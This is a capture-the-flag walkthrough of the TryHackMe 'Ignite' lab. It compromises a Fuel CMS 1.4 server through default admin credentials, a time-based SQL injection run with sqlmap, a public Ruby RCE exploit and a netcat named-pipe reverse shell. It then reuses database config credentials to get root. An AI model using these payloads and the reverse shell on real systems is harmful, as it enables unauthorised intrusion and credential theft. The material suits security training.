Enumeration


Host: 10.10.140.200


As always, let’s start with a quick NMAP (-A) scan against the host

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# nmap -A 10.10.140.200 -Pn -n
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-09 11:31 PKT
Nmap scan report for 10.10.140.200
Host is up (0.19s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE  VERSION
80/tcp open  ssl/http Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=4/9%OT=80%CT=1%CU=44104%PV=Y%DS=5%DC=T%G=Y%TM=606FF4F1
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10E%TI=Z%II=I%TS=A)SEQ(SP=10
OS:8%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=A)OPS(O1=M506ST11NW6%O2=M506ST11NW6%O3
OS:=M506NNT11NW6%O4=M506ST11NW6%O5=M506ST11NW6%O6=M506ST11)WIN(W1=68DF%W2=6
OS:8DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M506NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 5 hops

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   61.96 ms  10.17.0.1
2   ... 4
5   182.37 ms 10.10.140.200

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.01 seconds

Only, port 80 (HTTP) open. Let’s enumerate this port and the web server.

HTTP - (Port 80)

We can see that the web server is hosting Fuel CMS by visiting the port.

http://10.10.140.200/

We can see the version installed (1.4) — Also, if we just scrolldown a little bit, we can see that the getting started page contains credentials in it.

The path /fuel/ can also be obtained from /robots.txt which NMAP indicated in the scan.

Cool, we got the login page, let’s try the credentials:

Username: admin

Password: admin

We’re logged in! Let’s see if there are any version specific vulnerabilities of Fuel CMS.

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# searchsploit fuel cms
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                                                                       | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                                                                       | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                                                             | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                                                                 | php/webapps/48778.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

We can see multiple exploits for the version (1.4) — Let’s utilize the authenticated ones, since we’ve the credentials already. php/webapps/48778.txt contains a request body recreating which will take time.

Let’s utilize the second-last exploit (php/webapps/48741.txt)

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# searchsploit -x php/webapps/48741.txt
  Exploit: Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
      URL: https://www.exploit-db.com/exploits/48741
     Path: /usr/share/exploitdb/exploits/php/webapps/48741.txt
File Type: ASCII text, with very long lines, with CRLF line terminators

2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'col' parameter and save it like fuel.req
Then run SQLmap to extract the data from the database:

sqlmap -r fuel.req --risk=3 --level=5 --dbs --random-agent

3. Example payload:
----------------------

(time-based blind)

/fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(5)))ULQV)&fuel_inline=0

4. Burpsuite request:
----------------------

GET /fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location%20AND%20(SELECT%201340%20FROM%20(SELECT(SLEEP(5)))ULQV)&fuel_inline=0 HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: ci_session=2pvc8gmus9he9fbesp3lkhlbc7oal188; fuel_eeed351bf4de904070ff77c1aef15576=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_eeed351bf4de904070ff77c1aef15576=%2528%257Bleftnav_h3%253A%25220%257C0%257C0%257C0%2522%252C%2520fuel_permissions_items%253A%2522list%2522%252C%2520fuel_pages_items%253A%2522list%2522%252C%2520leftnav_hide%253A%25220%2522%252C%2520tabs_ms_assets_create%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a63773d3d%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a637939305a584e30%253A%25220%2522%252C%2520tabs_ms_assets_create_615731685a32567a%253A%25220%2522%252C%2520fuel_navigation_items%253A%2522list%2522%257D%2529

Upgrade-Insecure-Requests: 1

Alright, we can see that this one only requires valid Cookies & request URL. We can fetch the cookies from the browser and can use sqlmap for going on ahead.

sqlmap --risk=3 --level=5 --dbs --random-agent --batch --threads 10 -u "http://10.10.140.200/fuel/pages/items?search_term=a&published=&layout=&search=Search&limit=50&view_type=list&offset=0&order=asc&col=location*&fuel_inline=0" --cookie 'ci_session=cfgcs6rgfrsqoo2hq067o0huq4ierrmn; fuel_7da515443a82fcacf15d74c766f4b34b=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_7da515443a82fcacf15d74c766f4b34b=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%257D'

You can see that I added a `` after col=location that’s for indicating to sqlmap to inject in that parameter.

Since, the exploit is time-based blind, it’ll take a lot of time for it to complete. Let’s go through the remaining exploits (remember to try everything always!)

Let’s use the second RCE exploit now:

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# searchsploit fuel cms                      
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                                                                       | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                                                                       | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                                                             | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                                                                 | php/webapps/48778.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

We’ll be using php/webapps/49487.rb. Let’s copy the exploit to our own directory first and convert it from dos from to unix.

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# searchsploit -m php/webapps/49487.rb
  Exploit: Fuel CMS 1.4.1 - Remote Code Execution (2)
      URL: https://www.exploit-db.com/exploits/49487
     Path: /usr/share/exploitdb/exploits/php/webapps/49487.rb
File Type: Ruby script, ASCII text, with CRLF line terminators

Copied to: /mnt/hgfs/THM/Ignite/49487.rb

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# 

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# dos2unix 49487.rb 
dos2unix: converting file 49487.rb to Unix format...

It has a dependency issue, let’s install it with gem

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]   
└─# ruby 49487.rb                                                                                                                                                                                                  
Traceback (most recent call last):
        2: from 49487.rb:14:in `<main>'
        1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require': cannot load such file -- docopt (LoadError)

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# 

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]                                                                                                                                                                              
└─# gem install docopt                                                                                                                                                                                         1 ⨯ 
Fetching docopt-0.6.1.gem                           
Successfully installed docopt-0.6.1  
Parsing documentation for docopt-0.6.1         
Installing ri documentation for docopt-0.6.1                                                                                                                                                                       
Done installing documentation for docopt after 0 seconds                                                                                                                                                           
1 gem installed

Let’s run the exploit now:

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# ruby 49487.rb http://10.10.140.200 "id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Oh wow, we got rce! Let’s use nc to get reverse shell to our own box.

┌──(root💀b0x)-[/mnt/hgfs/THM/Ignite]
└─# ruby 49487.rb http://10.10.140.200 "which%20nc"                                                                                                                                                            1 ⨯
/bin/nc

Exploitation

Can URL encode our payload in CyberChef:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.17.0.120 5555 >/tmp/f

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20%2Di%202%3E%261%7Cnc%2010%2E17%2E0%2E120%205555%20%3E%2Ftmp%2Ff

Got reverse shell!

Let’s look for flag in /var/www/ and in /home/ directory.

[email protected]:/var/www/html$ ls -la 
total 52
drwxrwxrwx 4 root root  4096 Jul 26  2019 .
drwxr-xr-x 3 root root  4096 Jul 26  2019 ..
-rw-r--r-- 1 root root   163 Jul 26  2019 .htaccess
-rwxrwxrwx 1 root root  1427 Jul 26  2019 README.md
drwxrwxrwx 9 root root  4096 Jul 26  2019 assets
-rwxrwxrwx 1 root root   193 Jul 26  2019 composer.json
-rwxrwxrwx 1 root root  6502 Jul 26  2019 contributing.md
drwxrwxrwx 9 root root  4096 Jul 26  2019 fuel
-rwxrwxrwx 1 root root 11802 Jul 26  2019 index.php
-rwxrwxrwx 1 root root    30 Jul 26  2019 robots.txt
[email protected]:/var/www/html$ cd ..
[email protected]:/var/www$ ls- la 

^C
[email protected]:/var/www$ ^C
[email protected]:/var/www$ ^C
[email protected]:/var/www$ ls -al 
total 12
drwxr-xr-x  3 root root 4096 Jul 26  2019 .
drwxr-xr-x 15 root root 4096 Jul 26  2019 ..
drwxrwxrwx  4 root root 4096 Jul 26  2019 html
[email protected]:/var/www$ 
[email protected]:/var/www$ 
[email protected]:/var/www$ 
[email protected]:/var/www$ cd /home/
[email protected]:/home$ ls -al 
total 12
drwxr-xr-x  3 root     root     4096 Jul 26  2019 .
drwxr-xr-x 24 root     root     4096 Jul 26  2019 ..
drwx--x--x  2 www-data www-data 4096 Jul 26  2019 www-data
[email protected]:/home$ find , ^C
[email protected]:/home$ find . 
.
./www-data
./www-data/flag.txt
[email protected]:/home$ cd www-data/
[email protected]:/home/www-data$ ls -al 
total 12
drwx--x--x 2 www-data www-data 4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 root     root       34 Jul 26  2019 flag.txt
[email protected]:/home/www-data$ cat flag.txt 
64.......................b 
[email protected]:/home/www-data$

Cool, now time for privesc!

Privileges Escalation

The first thing, after getting a shell is to enumerate local credentials, of DB, .htpasswd, whatever, just grab em all!

After googling, found out that Fuel CMS keeps it’s DB configuration files in ../fuel/application/config/database.php

We can check the contents of the file:

www-data@ubuntu:/var/www/html/fuel$ cat application/config/database.php    
<?php                                                                                                    
defined('BASEPATH') OR exit('No direct script access allowed');                      
                                                                                                                                                                                                                   
/*                                                                                                                                                                                                                 
| -------------------------------------------------------------------                                                                                                                                              
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------     
| This file will contain the settings needed to access your database.
|                                                                                                        
| For complete instructions please consult the 'Database Connection'                                 
| page of the User Guide.                                                                                
|                                                                                                        
| -------------------------------------------------------------------                  
| EXPLANATION OF VARIABLES                                                                               
| -------------------------------------------------------------------                         
|                                                                                                        
|       ['dsn']      The full DSN string describe a connection to the database.                 
|       ['hostname'] The hostname of your database server.                                  
|       ['username'] The username used to connect to the database
|       ['password'] The password used to connect to the database     
|       ['database'] The name of the database you want to connect to     
|       ['dbdriver'] The database driver. e.g.: mysqli.
|                       Currently supported:                                                             
|                                cubrid, ibase, mssql, mysql, mysqli, oci8,
|                                odbc, pdo, postgre, sqlite, sqlite3, sqlsrv
|       ['dbprefix'] You can add an optional prefix, which will be added
|                                to the table name when using the  Query Builder class
|       ['pconnect'] TRUE/FALSE - Whether to use a persistent connection
|       ['db_debug'] TRUE/FALSE - Whether database errors should be displayed.
|       ['cache_on'] TRUE/FALSE - Enables/disables query caching
|       ['cachedir'] The path to the folder where cache files should be stored
|       ['char_set'] The character set used in communicating with the database
|       ['dbcollat'] The character collation used in communicating with the database
|                                NOTE: For MySQL and MySQLi databases, this setting is only used
|                                as a backup if your server is running PHP < 5.2.3 or MySQL < 5.0.7
|                                (and in table creation queries made with DB Forge).
|                                There is an incompatibility in PHP with mysql_real_escape_string() which                                                                                                          
|                                can make your site vulnerable to SQL injection if you are using a                                                                                                                 
|                                multi-byte character set and are running versions lower than these.                                                                                                               
|                                Sites using Latin-1 or UTF-8 database character set and collation are unaffected.                                                                                                 
|       ['swap_pre'] A default table prefix that should be swapped with the dbprefix                                                                                                                               
|       ['encrypt']  Whether or not to use an encrypted connection.                                                                                                                                                
|                        
|                       'mysql' (deprecated), 'sqlsrv' and 'pdo/sqlsrv' drivers accept TRUE/FALSE                                                                                                                  
|                       'mysqli' and 'pdo/mysql' drivers accept an array with the following options:                                                                                                               
|                           
|                               'ssl_key'    - Path to the private key file
|                               'ssl_cert'   - Path to the public key certificate file                   
|                               'ssl_ca'     - Path to the certificate authority file
|                               'ssl_capath' - Path to a directory containing trusted CA certificats in PEM format                                                                                                 
|                               'ssl_cipher' - List of *allowed* ciphers to be used for the encryption, separated by colons (':')                                                                                  
|                               'ssl_verify' - TRUE/FALSE; Whether verify the server certificate or not ('mysqli' only)                                                                                            
|                               
|       ['compress'] Whether or not to use client compression (MySQL only)
|       ['stricton'] TRUE/FALSE - forces 'Strict Mode' connections   
|                                                       - good for ensuring strict SQL while developing  
|       ['ssl_options'] Used to set various SSL options that can be used when making SSL connections.
|       ['failover'] array - A array with 0 or more data for connections if the main should fail.        
|       ['save_queries'] TRUE/FALSE - Whether to "save" all executed queries.                            
|                               NOTE: Disabling this will also effectively disable both
|                               $this->db->last_query() and profiling of DB queries.                     
|                               When you run a query, with this setting set to TRUE (default),
|                               CodeIgniter will store the SQL statement for debugging purposes.         
|                               However, this may cause high memory usage, especially if you run
|                               a lot of SQL queries ... disable this to avoid that problem.
|                                                                                                        
| The $active_group variable lets you choose which connection group to
| make active.  By default there is only one group (the 'default' group).
|                                                                                                        
| The $query_builder variables lets you determine whether or not to load                                 
| the query builder class.                                                                               
*/                                                                                                       
$active_group = 'default';                                                                               
$query_builder = TRUE;                                                                                   
                                                                                                         
$db['default'] = array(                                                                                  
        'dsn'   => '',                                                                                   
        'hostname' => 'localhost',                                                                       
        'username' => 'root',                                                                            
        'password' => 'mememe',                                                                          
        'database' => 'fuel_schema',                                                                     
        'dbdriver' => 'mysqli'
...

We do have the DB credentials, root:mememe

Let’s try using these maybe?

Root Shell!

We’re root! Thanks for reading the walkthrough! Hopefully you enjoyed it 😁


Things learnt:

  • Always read the pages of the web application (you might find interesting stuff)
  • Check /robots.txt by default!
  • Try all the exploits! Don’t rely on and keep trying only one
  • Enumerate credentials files (if there’s a CMS, definitely there’s going to be a configuration file)